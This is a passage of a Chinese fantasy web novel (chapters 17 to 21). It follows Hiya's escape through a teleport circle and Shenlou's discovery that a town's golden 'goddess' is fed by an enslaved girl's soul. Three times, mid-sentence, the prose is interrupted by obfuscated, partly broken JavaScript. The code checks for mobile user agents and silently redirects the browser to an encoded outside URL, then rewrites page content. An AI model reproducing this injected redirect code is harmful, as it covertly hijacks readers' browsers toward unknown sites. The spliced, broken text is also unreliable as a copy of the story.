另一边的菲特依然抱着鹦鹉恸哭,气力仿佛不会穷尽,将整座神殿都变得吵吵闹闹的。季诺拿他们没有办法,只能收回思绪,转身去确认希娅的情况。 希娅正在熟睡。 她身上的魔法已经解除,现在步入休养生息的阶段。季诺探了探希娅的体温,不高不低,已经完全恢复正常——这是今天最大的好消息了。 只是她依然时不时紧皱起眉头,或许是被菲特他们打扰到了,难以安眠。 季诺转过头,目光扫过那堆杂物,正想找些能充当耳塞的什么东西出来,忽然听见“咚”的一声巨响,似乎有什么东西从天花板上摔了下来。 菲特的哭声停止了。季诺、菲特,甚至是鹦鹉的目光,都不约而同地转向那个从天而降的不速之客—— 那是一团矮小的什么东西,被包裹在一张漆黑的绒布中,从天上掉了下来。而季诺一眼认出那张绒布,就是蜃楼临行前当做斗篷披走的那一条。 随着访客落地,那条漆黑的绒布飞快地化作流光消失了。只剩下一个黝黑瘦小的孩子,坐在那堆杂物的顶端,抱着膝盖,神色茫然。 菲特回过神来,率先认出了那个孩子。 “你是……米迪!?”他震惊地说,“你、你……那个黑色头发的邪恶男人怎么把你也抓过来了!” 米迪尚未理清楚发生了什么,只知道看见了熟悉的人,连忙从杂物堆上爬下去,跌跌撞撞地向菲特奔去。 “菲特叔叔!”他抓住菲特的手腕,着急地说,“我、我在歌登镇遇到坏人了……他们说瑟恩死了,我不信!瑟恩呢,他也在这里吗?这里是你们的新家吗?” 菲特顿了一下,才被转移的注意力又回到他被“黄金少女”带走的儿子身上去了。男人嘴巴一瘪,眼泪又从他眼角里飞落下来:“瑟恩!不!瑟恩,我的儿子啊……” 那鹦鹉停在他肩头,也跟着“瑟恩!瑟恩!”地叫了两声。只是不知为什么模样看着有些焦急,还在不住地啄弄着菲特的肩膀;然而,菲特已经在全心地恸哭了,哪有功夫再理会它呢?鹦鹉见他完全不理会的样子,只好扇动翅膀飞到米迪肩上,轻轻啄了啄他的脸颊。 “瑟恩……”米迪看着菲特的样子,心中忽然产生不好的直觉,“瑟恩难道真的……不,不可能的!” 鹦鹉更焦急了,跳到米迪头上,开始啄他的头发。但这样反而弄巧成拙,米迪吃了痛、心情又大起大落,往地上一坐,竟然也跟着大哭起来。 只是一会儿的功夫,神殿内成了一派乱象。 这儿有个恸哭的男人、那儿有个嚎啕的孩子,再加上一只喋喋不休的、啄人的鹦鹉,饶是脾气好的季诺,此刻也不禁头痛起来。 “那个,各位……”他弱弱张口,声音几乎埋没在此起彼伏的哭声里,“能不能先安静一下……” 当然,并没有人搭理他。 吵闹持续了一阵,忽有一阵寒风刮过,让痛哭着的米迪、菲特不约而同地打了个喷嚏。 而那张蜃楼搬来的沙发床上,窸窸窣窣的声音响起。有个身影披着毯子坐了起来,冷冷地说了一句—— “吵什么?” 话音刚落,神殿内骤然安静下来。 18. 第 18 章 希娅从梦魇中醒来,此刻的心情,并不是很好。 她做了一个绵长到仿佛没有尽头的噩梦。 虽然不知道为什么季诺会出现在她身边……但至少他能看出希娅的不痛快,比那边两个鹌鹑识相得多。 现在的神殿十分安静,季诺接了碗温水,递给希娅。 希娅接过水抿了一口,闭上眼睛梳理自己的记忆。失去意识前的情景在她脑海里模糊不清,她只记得自己被押上了断头台、铡刀就要落下——后来皇城突然下雨,磅礴的雨水几乎将她从里到外都浇透了。可她却不能感觉到冷,只觉得自己似乎掉进一个温暖的怀抱里,那个人身上有一股红酒的甜味…… 可是,谁救了她? 谁有理由救她? 希娅想不出答案,于是去问季诺。 季诺说:“是个名叫蜃楼的魔法师,也救了我呢。希娅,他是你的朋友吗?” 哈? 希娅愣住,手中的陶碗掉到地上,摔成稀稀拉拉的碎片。一大一小的两只鹌鹑吓了一跳,抱在一起不敢出声;但希娅很快回过神来,侧目瞪了他们两个一眼,意思大约是,“过来”。 菲特与米迪只好慢吞吞地向希娅移动过去。 等他们在季诺身边站好了,希娅才抬起漆黑的眼睛,看不出感情的目光一一扫过他们,最后停在米迪肩上的那只鹦鹉身上。 “你们又是谁?”她问道,“为什么会在这里?” 菲特咳嗽了两声,将米迪与鹦鹉护在身后,虚张声势地说:“我……咳咳,别看我这样,我也是个老板,很有钱的!你有什么事别欺负米迪,冲我来啊!反正老子也不想活了……” 在希娅蹙起眉头之前,季诺收拾好地上的碎片,插进他们中间,耐心地向她解释:“他们是蜃楼先生救回来的人,具体发生了什么,我也不太清楚……但是,这中间应该有什么误会。” 随后又转过身去,面对警惕的菲特,他温声开口安抚:“先生,我能理解您现在的心情。但请您先冷静下来,蜃楼先生他不会无故带人回来的,一定是为了救您——” “救我?”菲特恼羞成怒地往地上啐了一口,“我呸!明明就是他害了我儿子!要不是那个披着黑色斗篷的男人突然闯进来,瑟恩怎么会被‘衡量’……” 这时候,米迪也从菲特身后探出头来了:“黑色斗篷?叔叔,你说的是那个又高又白的黑斗篷哥哥吗?” “哥哥个屁!”菲特不齿地唾骂道,“就是个小白脸。” 希娅不耐烦地打断他:“这里是你家吗?好好说话。” 菲特颤了一下,登时不敢吱声了,连米迪也躲回他身后去,抖成一个小小的筛糠。 季诺看看希娅、又看看这鹌鹑似的两人,识趣地退到一旁——他知道这两位完全不听他的,便干脆就这样交给希娅了。 希娅不像季诺那样,了解情况前还要想尽办法先安抚对方的情绪。她只单刀直入地问自己的问题,比如现在—— 希娅裹着蜃楼最早从某个房间里拽下来的窗帘布本体,上面有淡淡的红酒气息。她漆黑的目光钉在菲特身上,语气森冷:“你儿子死了?蜃楼杀的?” “啊?”面对着眼前这个只比他儿子大几岁的女孩,菲特竟没来由得开始淌冷汗了,“那、那倒不是……他是被‘黄金少女’衡量的。” “……哦。”希娅收回视线,兴致缺缺地将后背靠在沙发椅上,抬起手盯着她的无名指,“那害死你儿子的不是这个‘黄金少女’吗?你骂蜃楼干什么。” 菲特语塞:“这、这……没有他,我儿子就不会死了啊!” 希娅笑了一声,没再搭理他,只是盯着自己的手指出神。倒是季诺犹豫一会儿,提出了一个尖锐的问题:“可是,如果没有这个‘黄金少女’,您儿子也不会受害吧?” 没有“黄金少女”? 菲特愣在原地,一时之间竟不知道该说些什么。 他原本住在山脚下的小河村,战后想做些生意,却稀里糊涂地借上了高利贷。最后店没开成,反而债台高筑。走投无路之际,才从村民口中听说了歌登镇的事情。 那是恰逢小镇扩张,缺少管理商铺的人才,菲特正是在“黄金少女”的见证下,接过巷尾的那家魔药店,还清了贷款的。 如果没有“黄金少女”,他早就被讨债人打死了。哪儿还能有今天呢? 怎么能没有黄金少女呢? 然而歌登镇内,唯有“黄金少女”的存在是不能轻易为外人道的。菲特面色铁青,姗姗来迟的理智提醒他已经失言,只得闭紧了嘴,不再多说下去。 “叔叔,我觉得那个黑斗篷哥哥是好人。”米迪躲在菲特身后,拽了拽他的衣服,轻声说道,“歌登镇的坏人把我抓起来了。我钻进他的斗篷里,才掉到这个地方……他救了我呢!” “哎哟,我的小祖宗!”菲特转过身去,恨铁不成钢地捏了把米迪的脸颊,“知人知面不知心,这世道上哪还有毫无理由就救你的人啊?谁知道他心里打什么算盘……等等,你刚才说什么,你被歌登镇的人抓起来了?” 米迪点点头,继续说:“除了我和那个哥哥,他们还抓了很多人呢!说要把我们献给什么‘黄金少女’……也不知道黑斗篷哥哥现在怎么样了,他一个人在那边,会不会遇到危险?” 季诺在旁听着,神色逐渐凝重起来。他越过希娅,凑到菲特、米迪的身边,认真地问道:“所以,这个‘黄金少女’,到底是什么?” 菲特偏过头,跟他吹胡子瞪眼:“我干嘛要告诉你!?” 然而他没能倔强太久,便感觉耳边一阵疾风拂过。一把半米长的园艺剪刀几乎贴着菲特的脸颊飞过去,“噌”的一声,插进神殿的石墙上;而始作俑者则是靠在沙发椅上的少女希娅—— 她看起来弱不经风,手指依然保持着将剪刀投掷出去的动作,眼瞳里看不清情绪,仿佛一片深不见底的、漆黑的海。 “告诉他。”希娅冷冷地说。 她口中飞快地念出一串咒语,那把园艺剪刀便从石壁上脱出来,仿佛拥有生命一般在神殿内转了一圈。尤其在瑟瑟发抖的菲特头顶悬停了许久,才慢悠悠地回到希娅的手中。 对方竟是个魔法师,菲特吓了一跳,立刻把自己知道的都抖落出来。 主价、客价、鉴定、衡量;“再塑节”和镇上真实存在的神祇“黄金少女”,甚至是狂妄跋扈的歌登与助纣为虐的雪莉…… 季诺听完这些,露出匪夷所思的神色:“你是说,如果没有达成交易就离开小镇,就会受到‘黄金少女’的惩罚?” 菲特点了点头:“是啊!去年有个家伙偷了我店里的药,我没追上,人刚走出镇口就化成金水了……” “……”季诺沉默了一会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739984|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光飘向地面上堆放的杂物。他的脑海里飘过蜃楼的说辞:这是他通过非常不道德的途径抢来的。……真的是这样吗? 菲特的视线也跟着季诺的转移到地上。 在看清那堆杂物到底都是些什么东西之后,他瞪大眼睛,从地上蹦了起来。 “等、等等等等……”菲特大步奔跑过去,在杂物堆前蹲下来,翻翻找找,“这、这些不都是我店里的东西吗?怎么会在这里!?不对,仔细一瞧,连这把沙发椅也是……” 他还想去摸摸自己心爱的沙发椅,但手伸到一半,又看见上面坐着个不好惹的魔法师,只好悻悻地收回手来。 菲特很快认识到一个更严重的问题。 这些东西显然不是被人买回来的。它们统统隶属于小镇,并非他菲特本人。哪怕是菲特自己带着东西离开小镇,也会落得和小偷一样的下场。 然而,从结果来看,他确实和这些商品一起“离开”了小镇。 可是,什么事情都没有发生! 菲特震惊之后回过神来,赶忙摸了摸自己的口袋,竟然从中掏出了那张皱巴巴的明信片—— 他不但自己没有受到惩罚,甚至连瑟恩最后留给他的礼物都还在呢! 希娅靠在沙发椅上,静静旁观这一切。 “很惊讶吗?”她忽然开口,“这些东西并不是‘交易’来的,是吧。” 菲特抬起头,诧异地看着她:“你怎么知道!” “我不知道。”希娅撇开眼神,走下了沙发,轻声地说,“我只是知道那个男人。” 季诺连忙去扶她:“希娅,你现在的身体……” “我已经没事了。” 她避开季诺搀扶的手,稳稳地站立在地面上。深不见底的目光越过神殿里破败不堪的神像,又折回到菲特的身上。 “‘黄金少女’不是神祇。”她说着,漆黑的眼睛里划过嘲讽的颜色,“这个世界啊,只有骗子,没有神明的。” 如果真的有神明,怎么可能听不到她过去四年间曾经从未间断过的祈求呢? 怎么会一次又一次地对她见死不救,还将她推向恶魔的身边呢? 当然,此刻的希娅心中并无怨恨。大起大落之后,她的心情平静无波,只剩下对于命运的疑惑,难以再起什么波澜。 她一边说着,一边赤着双脚,在神殿内走了一圈。 很快,希娅在石墙后找到了蜃楼留下的传送法阵。 她俯下身去,手指虚空描摹着上面漂亮的几何图形,忽然唇角一弯,笑出声来。 “季诺。”她抬起头,“把你的毯子给我。” 季诺不明所以,但还是将蜃楼留给他的毯子递了过去。 希娅接过毯子,口中念咒,一座黄金雕像便从杂物堆中飘了过来。她接过黄金雕像,眯起眼睛看了看,便将它抛到了法阵中心。 季诺的毯子还在手里,希娅的指尖倏然燃起了玄秘的微光。 季诺不懂魔法,但见她的动作,飞快联想到了蜃楼使用传送阵时的流程。他反应过来,想去阻止希娅,可是已经来不及了。 一道白影掠过半空,飞入传送阵中。阵法启动,在金色的光芒将希娅彻底吞没之前,她笑吟吟地抬起手,向季诺挥了挥。 “拜拜啦,老朋友。”希娅说,“不用担心,你知道我的,只是去找点想知道的答案。” 19. 第 19 章 歌登镇富丽堂皇的大厅内,一场极尽奢靡的晚宴正在举行。 歌登身着剪裁有致的正装,全身上下连纽扣都闪着金光。此刻正红光满面地站在窗下,与身边人交谈着什么。在他身边,站着一个身材健壮的男人,身上穿着柔顺的丝质短上衣、外披灰色的呢绒马甲,打扮看着简朴一些,气势却压过歌登,一眼便能叫人瞧出他的身份。 倒还真是冤家路窄,蜃楼想。 这个弗洛瓦的男爵……是马坎男爵啊。 他是游戏中“地下俱乐部”的背后金主。马坎在四年前从奴隶商人手中买下希娅,起初不知道她就是弗洛瓦失踪的皇女;但在第三年,他前往皇城觐见的途中看到希娅的画像,明明已经知道真相、又怕东窗事发,便叫人连夜将希娅丢到贫民窟里,抹去了所有她在当地生活过的痕迹——再然后,就是希娅被蜃楼软禁的一年了。 这四年里,希娅的人生起落落落落,从一个地狱辗转到另一个牢笼,已经不能再差。 按照主线剧情,倘若希娅没有供出蜃楼,变成死刑犯、在铡刀下死去的便是这位马坎先生。蜃楼会将马坎与杀手往来的信件暴露亚纶面前,一切水到渠成,又因为唯一的知情者死了,连希娅过去曾在“俱乐部”工作的事情都不会暴露出来。 但现在,被栽赃的人成了希娅。而希恩为了争取最大的惩罚,不知从何处得知了她不幸的过去,还添油加醋、大肆宣传……好在这一仇蜃楼已经报了,希恩如今在皇城的名声,恐怕不会好到哪儿去。 奇怪的是,按照剧情发展,马坎男爵没有出事,现在应该好好地在自己的领地里过日子才对。 为什么出现在歌登镇呢? 此时此刻,蜃楼和那些被抓来的人一起被关押在大厅的角落。宴会上觥筹交错,纯金打造的碗碟闪耀着奢靡的光泽;只有他们这群人被捆绑手脚,束缚在阴暗的角落里,仿佛只是几颗微不足道的尘埃…… “喂,出来!”有个民兵走过来,用脚踢了踢角落一个神情恍惚的男人,“赚大钱的时候到咯!” 刚才还持续呓语的男人眼前一亮,听见“赚大钱”三字,身上那股死气沉沉的态势都褪去不少。他连滚带爬地站起身来,往前走了一步,却忽然脑门朝下、结结实实地摔了一跤——他被蜃楼身边的铁链绊倒了,一动不动地,竟然就这样昏死过去。 民兵骂了两句,准备搜寻另外的人选,却见蜃楼举起手来,渴望地说:“兄弟,我也想赚大钱!” 真情流露了。 大多数时候,蜃楼演技稀烂,只是在靠脸糊弄人而已。好在这句话是真心的,虽然捧读了点,但民兵闻言看他,面上并没有露出多少怀疑的神色。 “哟,哥们,生面孔啊。”民兵看了看他,乐了,“也行。那就你吧,跟我来。” 蜃楼连忙站起身来,跟在他身后,灰白的披风随着他的动作飘拂起来。 他现在又有新斗篷了:雪莉带着他从石房里离开的时候,扯了一块破旧的窗帘布给他。虽然气味不太行、模样也没有那么好看,但很符合“亡命之徒”的设定,蜃楼觉得不错,将帽檐拉得低低的,遮住他的眼睛。 民兵领着他,来到歌登面前行了个礼,又回身一脚将蜃楼踹得半跪在地上,便潇洒地退下了。 “‘黄金少女’不仅是守护歌登镇的神祇,更是我们的财富!”歌登忙着对马坎男爵高谈阔论,甚至没看蜃楼一眼,“说了这么多,您还没见过真正的‘神明’吧?呵呵……雪莉,来,启动法阵!” 站在一侧的雪莉走上前来,视线掠过蜃楼,停在他身前的墙壁上。魔法阵微微发光,她咬破手指,将自己的血液涂抹在法阵中央。 法阵亮起,金色的发光液体从回路中缓慢地流淌出来。雪莉看着它流动的速度,微微蹙起眉头——她总觉得今天的“黄金少女”,来得比以前慢了许多。 喧闹的大厅一下安静下来,所有人都凝视着这个发光的法阵。就连见多识广的马坎男爵,此时也目不转睛地盯着它,表情出神:他虽与弗洛瓦皇室打过不少交道,却从未见过这样的法阵。惊艳之余,心底悄然萌生出一丝怀疑。 固然他没有天赋,但也知道,魔法阵这种东西,明显是魔法师的手笔。 怎么能说是“神明”呢? 蜃楼揉着才被踹过的肩膀,仔细打量墙壁上的法阵。令他意外的是,他接触过的魔法阵不多,但墙上这一个,恰好能在他贫瘠的知识库中找到答案。 “这是传送阵?”他问系统,“为什么跟我画过的不太一样?” 系统回答说:“这是专门型定向传送阵,只能让特定的对象通过它进行穿梭。启动这种传送阵也一样需要海量的魔力……真奇怪。歌登镇有魔法师在吗?这源源不断的魔力,是从哪儿来的?” 蜃楼顿了顿,回忆起刚才雪莉启动传送阵的动作。 就像在米迪误打误撞触发传送阵的时候,据系统所说,他用魔力变幻出来的斗篷,其本身也能构成魔法三要素之一的“能源”,弥补魔法师本身魔力的短缺。 在这样的前提下施展消耗巨大的法术,就是用火柴点燃一堆柴火的过程,并不费力。 至于雪莉启动传送阵的过程,是否就是在用她自己的“火柴”,点燃那个魔法师留下的“薪火”呢? 蜃楼沉吟片刻,开启了治疗希娅时曾使用过的“魔力观测”状态。 然后,他见到了此生难忘的一幕: 整个厅堂,从黄金铺就的地板开始,到宴会桌上大大小小、纯金造就的碗碟,甚至是歌登胸前的金色纽扣,无一不闪烁着奇异的金色光芒。按照系统的说法,这表示其中流淌着法师的魔力,而真正的黄金,并不具备这样的特性—— 它们根本不是黄金,而是魔法师的造物! 再看那面画着传送阵的墙上,金色的光芒正在回路中安静地闪烁。雪莉涂抹过血液的那块区域也亮起蓝色的痕迹,这是她的魔力,只是非常微弱,几乎被海洋般遍布的金光淹没了。 这倒印证了蜃楼的猜想:雪莉也有微薄的魔法天赋。 “这、这这……”系统也看见了,震惊地说不出话来,“这些金子……甚至是‘黄金少女’,全都是魔力变幻出来的产物!这,到底得是多强的魔法师,才能……” 话音将落,金色液体滴落在地上,缓慢地凝聚成形。“黄金少女”初具雏形,另一边的歌登已经举起酒杯,迫不及待地开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765498|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快鉴定,鉴定!” 成型的黄金少女将手放在胸前,微微低头,却没有立即动作。 不知是否是蜃楼的错觉,他似乎从这个金色的少女人形身上看出了“犹豫”的神态。与祂并排而立的雪莉神情紧张,却在眼底划过一道微光后,瞬间改换为麻木、冷酷的神色:“……‘鉴定’开始。” “还有‘傀儡术’啊?”系统惊奇地说,“一会儿功夫就已经出来两个禁术了……奇怪,有这样的能力,让‘黄金少女’直接发声也不难啊。何必要借傀儡术呢?” “这你就不懂了吧。”蜃楼顿了一下,嗤笑道,“这叫‘分权’,可持续发展的手段。” 这是一种说大不大、说小也不小的限制。 躲在幕后的魔法师,显然是希望“黄金少女”能在歌登镇长长久久地流传下去的。 歌登这样的人,虽然很好控制,可手握的权力一旦多了,便会滥用;在他独断专行之下,受“黄金少女”恩泽的歌登镇,更容易出现反抗的声音。 所以,“黄金少女”至少要能够独立于歌登运行——而非一个真正的、他的傀儡。 所谓仪式,当然也要交给另一个人人来完成,这能让歌登无法随意地更换人选、操纵仪式。魔法天赋恰好是个非常合适的门槛。 可惜的是,雪莉似乎不知道这一点。 她其实大有与歌登正面交涉的底气。 现在,蜃楼半跪在地上,看向眼前金黄色的少女人形。他的直觉没错,祂的确是“犹豫”了一会儿,才走上前来的。金色液体跟随着祂的脚步流淌了一路,却在他身周突兀地凝滞住,留出一个整洁的小圈。 “……的,最珍贵之物是……” 雪莉张口,声音似近非近,叫人听不真切。 下一秒,黄金少女在蜃楼身前停下。祂俯下身去,摘下了他脸上的单片镜,小心翼翼地捧在手里。 在场所有见识过仪式的本地人,无一不露出诧异的神色。尤是几乎见证了每一次仪式的歌登,眼睛瞪得比商店里的金铃铛还大,手中的金杯也险些掉在地上。 “黄金少女”向来是以液态分身包裹住人的身体,从中读取到他最珍贵之物的,就像衡量菲特时做的那样。现在走到蜃楼面前、还亲手摘下他眼镜的举动,已经是史无前例的第一次了。 歌登眼珠一转,立即用他贫瘠的理论圆上了这份异常:“这是无价之宝啊!男爵,咱们的金有着落了!” 话音刚落,厅内便配合地响起欢呼声。马坎男爵却皱起眉头,依然目不转睛地盯着“黄金少女”,手指已经搭在他腰间的佩剑上。 雪莉喃喃念着什么,与此同时,黄金少女手中的单片镜开始融化成与祂性质相同的金色液体。等到镜片彻底融化、汇入进祂的掌心,祂伸出手,轻轻地捧起蜃楼的脸颊。 蜃楼已经顾及不上为什么那枚单片眼镜是他的“珍贵之物”了。 他忽然想起一件忽略了许久的事情: 米迪说,在歌登镇赚过“大钱”的人,最后都变得很奇怪。 这显然不只是“人心不足蛇吞象”的问题。 “黄金少女”所收取的商品,除了珍贵之物,还有其他东西! 20. 第 20 章 说来那金色液体的触感,竟然与蜃楼所想的大有不同。 只看外观,他一直以为那该是冰冷的金属温度,可是现在,“黄金少女”接触他皮肤的手指,分明是温暖的、人类的体温。 再仔细一看,连蜃楼沾上金色液体的碎发,也已经开始褪下颜色了。 他没来得及惊诧,忽然感觉脑海深处,似乎有着尘封的什么东西,被窸窸窣窣地“翻”了出来。 蜃楼不可自控地回想起那枚单片镜、想起他从首饰盒中取出它的时候、想起他戴上它的时候——又想起很久很久以前,它从另一个男人身上鲜血淋漓地掉落,然后被另一只苍白的手颤抖着拾起的时候。 那是个面目模糊不清的白发男人,蜃楼很明确自己不认识他,可心中却升起一股难言的苦痛。紧接着又萌生出剜心一般的悲伤、弥天的怨恨来;然而这些情绪仅存在了一瞬,便和那段短促的记忆一起消失得无影无踪了。 所以……被收走的其他东西,是回忆?可这根本不是“钟灵”的记忆。难道说,是蜃楼本尊的……? 蜃楼回过神来,黄金少女已经离开了他,正向传送阵中缓缓退去。 可他不知怎么想的,竟然站起身,跟着冲了进去—— 雪莉诧异万分,正要阻拦,却见那魔法阵忽然发出一股强烈的金光。等到光芒散去之后,蜃楼和黄金少女的身影,都已经彻底消失在了大厅里。 另一侧,马坎男爵搭在剑鞘上的手放了下去。他看向歌登,意味深长地说:“这就是你说的‘无价之宝’?” 歌登心里咯噔一下,无法再说服自己这是什么好兆头了。他向男爵说了声“不好意思”,便召集起在场的所有民兵,命令道:“把抓来的人都带到矿洞前去看好了!一只苍蝇都别放出来!” 众人一哄而散。 歌登也心里也记着离开,但他还要给男爵一个交代。只能陪笑两声,硬着头皮说道:“应该是没能及时‘再塑’的原因……您再等一会儿就好!” 马坎男爵不置可否,走到主位前坐下去,拿起桌上的酒杯。 “我是不缺这些时间。”他抿了一口红酒,微笑着说,“不过,皇城里逃了个死刑犯,又有魔物作祟、制造出通天的幻象……这样紧要的关头,要是没能及时向陛下表明心意,歌登镇恐怕很难继续‘安宁’下去了。” 歌登脸色惨白,不敢再辩驳些什么。只咬着牙向男爵连连道了几声歉,便起身风风火火地离开了—— 传送阵的另一边,也就是“黄金少女”的本源,位于山脚下的矿洞。 他必须要去看看情况。 * 穿过传送阵,一阵令人晕眩的失重感后,蜃楼猛地睁开眼睛。 他发现自己正处于一片温暖的金色海洋中。 更确切的说,组成这所谓海洋的“水”,就是构成“黄金少女”的那些金色液体。它们在这里汇聚成海,安静地翻涌;而蜃楼被卷入其中,耳边响起气泡崩裂的声音。 在他的记忆深处,似乎有什么也在跃跃欲试地躁动起来。 蜃楼按下这股异样的感觉,向上望去。起伏的液面离他十分遥远,诡异的是,他并不觉得窒息,反而感到……精力充沛。 “这些液体,全都是纯粹的魔力!”系统在他耳边惊叹道,“浓度这样高,已经足够释放毁灭一个城市的魔法了!普通的魔法师根本做不到的,到底是什么人……” 蜃楼没有回应他,径直向上方游去。 季诺给他做的染发剂正在融化,丝丝缕缕的黑色痕迹没有被金色液体吸收,而是落到他的眼眶里、额头下,像血液一样黏稠地流淌下来。等他爬出金色的液池、抵达岸边的时候,原本的白发已经失去伪装,彻底显现出来了。 但这里没有人,所以他并不紧张。 不规则的岩石包围在金色的水池旁边,随着波涛的起伏,有一些已经成为固体的黄金被冲上岸边。蜃楼蹲下去捡起一颗,用手捏了捏,发现它原本是类似史莱姆的质地,正随着失温飞快地变硬。不过一会儿,就变得和他在歌登镇内看见的那些黄金一模一样了。 “这种东西流通出去,不会被人发现吗?”他很奇怪,“只要是个魔法师,都能看出来不对劲吧。” 系统顿了顿,却说:“魔法师之间大多有自己的货币,不用黄金进行交易。而且就算发现了,追查起来也是个麻烦的过程,所以……” 所以就“装聋作哑”,就像他刚开始来到歌登镇的时候一样。 蜃楼叹了口气,将那枚“黄金”丢回池子里。金子在液面上打了几个水漂,便沉了下去,再不见踪影。 他简单地扫视了一番周围的场景。四周漆黑无比,唯一的光源便是那座正在发光的水池。地面上凹凸不平的,除了石头就是煤渣,看来之前是个煤矿的矿洞——或许就是雪莉故事中所说的、困住歌登的那个地方呢。 这样更好,省得他再费心去找了。 然而矿洞中太黑了,蜃楼正踌躇该从哪找起魔法阵来。忽然感觉披风被谁拽了一下,他回过头去,发现一小滩金色液体洒在他背后的地上,从中伸出一只金色的小手,正拉扯着他破旧的披风。 蜃楼愣了愣,俯下身来,试图与之交流:“你是‘黄金少女’……?” 他总觉得,大厅里的“黄金少女”,似乎是有什么话想对他说的。 小手急急忙忙地摆了两下。 蜃楼尝试理解它的意思:“你……哦。你不是黄金少女?” 小手更着急了。用力挥了两下,又从液面中伸出另一只手,两只手交叠在一起,比了个大大的叉。 这是什么意思?蜃楼费解起来,不是黄金少女,也不是不是黄金少女? 看他始终不得要领,液体着急地绕着他转了一圈,又凝聚出一个“黄金少女”的小像,在小像的基础上,打了一个大大的、发着金光的叉。 “……”蜃楼沉默了一会儿,终于明白过来,“你是说,根本没有什么‘黄金少女’,是吗?” 大约是猜对了,金色液体翻腾两下,咕噜噜地冒出一连串泡泡。再一次钻出来的两只小手向他比了个大拇指,然后热情地鼓起掌来。 那大厅里的人形,到底是…… 蜃楼蹙起眉头,这些天来的记忆在他脑海内闪过。系统说的魔法三要素,也就是能源、媒介、对象,他现在知道维持“黄金少女”运作的能源是这些金色的液体了,媒介则是魔法师留下的法阵。可是施法对象,又是什么呢? 哪怕是“无中生有”地复制窗帘布,也需要用到真正的窗帘作为对象。在复制的过程中,真窗帘会被拆解为无数的丝线,由魔力复制出接近其基础物质的形态,再一点点勾勒出“窗帘”的形状。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783889|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后,魔力编织的“窗帘”完工,真窗帘依然是丝线的样子,并不会主动复原。蜃楼是后来才将它转变回去,拿给希娅继续当毯子盖的。 如果是这个道理,像“黄金少女”这样的存在,难道也要用真正的……? 想到这里,蜃楼的表情凝重起来。他看了看那滩闪耀的金色液体,思索片刻,向它询问道:“所以,那些被‘黄金少女’收走的东西和人,真的都消失不见了吗?” 液体停顿了一下,两只金色的小手收了回去。过了一会儿,液面上浮出两个巴掌大的小人。 一个是“黄金少女”的形状,另一个则是更瘦小的孩子姿态,大概是在模拟“衡量”的过程。只见从黄金少女身上流淌下的液体逐渐将小孩包围,而后微光闪烁,孩子被“一分为二”:一个化作液体,归入了黄金少女的身体;另一个则跟史莱姆似的,冒着气泡颤了两下、变成一只鸟儿,扑腾着翅膀飞走了。 这实在是一个意味不明的过程。好在蜃楼有专业知识,还是擅长理解这种抽象的东西的。 “被收走的只是□□。”蜃楼努力理解它,“灵魂……呃,变成鸟飞走了?” 小手冒出来,开始鼓掌。 蜃楼摸了摸鼻子,脑袋里仍然是一团乱麻。他想起商店老板和他那个神秘消失的儿子,按这样的说法,即便他摧毁了魔法阵,那些消失的人也不会回来,只能说是及时止损而已。 ……算了吧。 也总比让这样的闹剧持续下去要来得好,蜃楼心想。 他站起身,开始寻找魔法阵的所在。然而转了一大圈,四周除了石头和煤渣,完全没留下什么可疑的痕迹。一筹莫展之际,金色的小手悄然移动到他身边,拉了拉他的斗篷,又指了指那片被岩石包裹的、起伏的金色液面。 蜃楼停下来,看了看它,又看了看那座金色的水池。 “你是说,魔法阵在那下面?”他问道。 小手鼓起掌,首当其冲,泥鳅一样钻进了波动的水池里。 蜃楼迟疑片刻,也跟着下了池子。金色的液体一拥而上,再一次将他严严实实地包裹起来。与之前不同的是,这次另有一股拖拽的力量,直直牵引着他,往池水的更深处游去。 然而,离水面越远,那股莫名的躁动感便愈发强烈。蜃楼克制着这股情绪,终于来到水池的底部——那里横贯着一个巨大的魔法阵,由无数小而精密的魔法阵构成基础,像一台无比精准的仪器,在金色液体的包裹下,发出夺目的光华。 在魔法阵下,他发现一位少女半透明的躯体。 她有着与雪莉相似的眉眼,一头夺目的金发随着液体散漫地漂浮。而那座巨大的魔法阵,如同牢笼一般将少女包围在其中;又有无数藤蔓形状的微光从地面上延伸出来,在她的身上生根、缠绕,只是看着便叫人觉得痛苦万分。 “这是奴役契约!”系统的语气有些沉重,“能够禁锢人的灵魂为己所用……是魔法界的十大禁术之一,用之即死刑啊。竟然在这里出现了……” 蜃楼蹙起眉头,只觉得他离所求的那个答案已经越来越近了。 谜底即将揭晓,心情却不知怎么反而沉重起来。 禁锢少女灵魂、以活人为献祭、操控小镇、传播虚假的“黄金”…… 到底是什么样的魔法师,才能做出这样恶劣的、令人发指的行径来呢? 21. 第 21 章 